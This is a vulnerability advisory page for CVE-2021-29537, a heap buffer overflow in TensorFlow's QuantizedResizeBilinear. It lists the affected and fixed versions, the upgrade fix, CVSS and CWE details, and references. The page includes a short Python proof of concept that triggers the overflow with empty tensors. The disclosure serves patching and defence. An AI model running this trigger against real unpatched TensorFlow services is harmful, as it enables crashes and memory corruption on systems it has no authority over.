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CVE-2021-29537: Heap buffer overflow in `QuantizedResizeBilinear`

May 21, 2021 (updated October 30, 2024)

An attacker can cause a heap buffer overflow in QuantizedResizeBilinear by passing in invalid thresholds for the quantization:

import tensorflow as tf

images = tf.constant([], shape=[0], dtype=tf.qint32)
size = tf.constant([], shape=[0], dtype=tf.int32)
min = tf.constant([], dtype=tf.float32)
max = tf.constant([], dtype=tf.float32)

tf.raw_ops.QuantizedResizeBilinear(images=images, size=size, min=min, max=max, align_corners=False, half_pixel_centers=False)

References

  • github.com/advisories/GHSA-8c89-2vwr-chcq
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-465.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-663.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-174.yaml
  • github.com/tensorflow/tensorflow
  • github.com/tensorflow/tensorflow/commit/f6c40f0c6cbf00d46c7717a26419f2062f2f8694
  • github.com/tensorflow/tensorflow/security/advisories/GHSA-8c89-2vwr-chcq
  • nvd.nist.gov/vuln/detail/CVE-2021-29537

Code Behaviors & Features

Detect and mitigate CVE-2021-29537 with GitLab Dependency Scanning

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Affected versions

All versions before 2.1.4, all versions starting from 2.2.0 before 2.2.3, all versions starting from 2.3.0 before 2.3.3, all versions starting from 2.4.0 before 2.4.2

Fixed versions

  • 2.1.4
  • 2.2.3
  • 2.3.3
  • 2.4.2

Solution

Upgrade to versions 2.1.4, 2.2.3, 2.3.3, 2.4.2 or above.

Impact 7.8 HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Learn more about CVSS

Weakness

  • CWE-131: Incorrect Calculation of Buffer Size
  • CWE-787: Out-of-bounds Write

Source file

pypi/tensorflow-gpu/CVE-2021-29537.yml

Spotted a mistake? Edit the file on GitLab.

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